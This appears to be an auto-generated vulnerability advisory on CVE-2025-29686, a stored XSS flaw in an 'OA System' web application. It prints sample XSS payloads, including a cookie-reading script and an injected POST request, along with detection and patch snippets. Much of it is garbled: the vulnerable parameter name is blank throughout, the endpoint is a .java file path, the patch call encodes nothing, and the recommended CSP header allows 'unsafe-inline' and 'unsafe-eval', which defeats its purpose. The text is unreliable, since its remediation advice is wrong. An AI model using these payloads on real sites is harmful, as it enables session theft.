How CVE-2025-29686 Works
This vulnerability exists in OA System versions before v2025.01.01 due to insufficient input sanitization in the “ parameter of /inform/InformManageController.java. Attackers can inject malicious JavaScript or HTML payloads, which are then executed in the victim’s browser when the crafted is rendered. The exploit occurs because the application fails to properly encode user-supplied data before displaying it, allowing persistent XSS attacks. This can lead to session hijacking, phishing, or unauthorized actions under the victim’s credentials.
DailyCVE Form
Platform: OA System
Version: < v2025.01.01
Vulnerability: Stored XSS
Severity: Critical
Date: 05/29/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation
1. Craft malicious payload:
<script>alert(document.cookie)</script>
2. Inject via parameter:
POST /inform/InformManageController.java HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded =<script>stealSession()</script>
Protection
1. Input sanitization:
String safe = ESAPI.encoder().encodeForHTML(request.getParameter(""));
2. CSP header mitigation:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
Detection
1. Scan with ZAP:
zap-cli --zap-url http://localhost:8080/ active-scan -s xss -r http://target.com/inform/
2. Manual testing:
fetch('/inform/InformManageController.java', {method:'POST', body:'=<img src=x onerror=alert(1)>'});
Analytics
- Exploitability: High (low complexity, no auth required)
- Affected endpoints: `/inform/InformManageController.java`
– Mitigation urgency: Immediate (critical risk)
Patch Verification
// Post-patch code should enforce output encoding:
response.setContentType("text/html; charset=UTF-8");
PrintWriter out = response.getWriter();
out.print(Encode.forHtml());
